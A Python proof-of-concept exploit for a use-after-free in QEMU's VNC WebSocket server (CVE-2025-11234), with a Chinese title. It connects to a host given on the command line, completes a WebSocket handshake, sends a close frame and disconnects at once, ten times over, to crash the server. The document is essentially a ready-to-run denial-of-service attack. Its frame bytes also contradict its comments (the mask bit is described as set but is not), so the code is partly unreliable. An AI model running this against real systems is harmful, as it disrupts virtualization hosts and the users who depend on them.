CVE-2025-11234 QEMU QIOChannelWebsock释放后使用漏洞

# CVE-2025-11234 PoC - QEMU QIOChannelWebsock Use-After-Free # Exploits GSource leak during WebSocket handshake to trigger DoS # Target: QEMU VNC WebSocket Server import socket import ssl import struct import hashlib import base64 import os import sys VNC_WS_HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" VNC_WS_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 5959 def generate_websocket_key(): """Generate a random WebSocket Sec-WebSocket-Key value""" return base64.b64encode(os.urandom(16)).decode('utf-8') def send_malicious_handshake(sock): """ Send a crafted WebSocket handshake that triggers premature QIOChannelWebsock object release, leaving a dangling GSource """ ws_key = generate_websocket_key() # Send initial WebSocket upgrade request handshake = ( f"GET /ws HTTP/1.1\r\n" f"Host: {VNC_WS_HOST}:{VNC_WS_PORT}\r\n" f"Upgrade: websocket\r\n" f"Connection: Upgrade\r\n" f"Sec-WebSocket-Key: {ws_key}\r\n" f"Sec-WebSocket-Version: 13\r\n" f"\r\n" ) sock.send(handshake.encode()) print("[*] Sent WebSocket upgrade request") # Receive the server's handshake response response = sock.recv(4096) print(f"[*] Received response: {len(response)} bytes") if b"101 Switching Protocols" not in response: print("[-] Handshake failed") return False print("[+] WebSocket handshake completed") return True def trigger_uaf(sock): """ After handshake, send a malformed frame that causes the QIOChannelWebsock to be freed while GSource is still active, triggering use-after-free when the callback fires """ # Send a close frame with invalid payload to trigger error handling # which may free the channel object while GSource is pending close_frame = bytes([ 0x88, # FIN=1, opcode=8 (Close) 0x04, # MASK=1, payload_len=4 0x00, 0x00, 0x00, 0x00, # Masking key 0x03, 0xE8 # Close code: 1000 (normal closure) ]) sock.send(close_frame) print("[*] Sent close frame to trigger channel cleanup") # Immediately disconnect to force premature object release # The GSource remains active and will fire later on freed memory sock.close() print("[*] Connection closed - GSource leak triggered") def main(): print(f"[*] CVE-2025-11234 PoC - Target: {VNC_WS_HOST}:{VNC_WS_PORT}") for i in range(10): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((VNC_WS_HOST, VNC_WS_PORT)) if send_malicious_handshake(sock): trigger_uaf(sock) print(f"[*] Attempt {i+1} completed") except Exception as e: print(f"[-] Error: {e}") # Small delay between attempts to allow GSource callbacks to fire import time time.sleep(0.5) print("[+] PoC execution completed") if __name__ == "__main__": main()